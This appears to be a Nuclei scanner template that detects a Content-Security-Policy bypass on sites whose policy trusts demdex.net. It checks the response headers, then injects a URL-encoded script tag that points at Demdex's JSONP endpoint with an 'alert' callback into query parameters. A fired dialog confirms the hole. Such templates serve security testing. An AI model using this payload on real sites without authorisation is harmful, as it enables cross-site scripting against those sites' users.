id: demdex-dpm-csp-bypass
info:
name: Content-Security-Policy Bypass - Demdex DPM
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,demdex-dpm,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "demdex.net"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: demdex_dpm_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://dpm.demdex.net/id?d_cb=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "demdex_dpm_csp_xss == true"
# digest: 4b0a0048304602210095ffd5fc0397b125cc374ac5f7b3e85827f3230b426c1e104dfaa5242dc570f0022100d460c263bac9b375322ebfac805fcc7402719492c9ccadc31834421b7d38c827:922c64590222798bb761d5b6d8e72950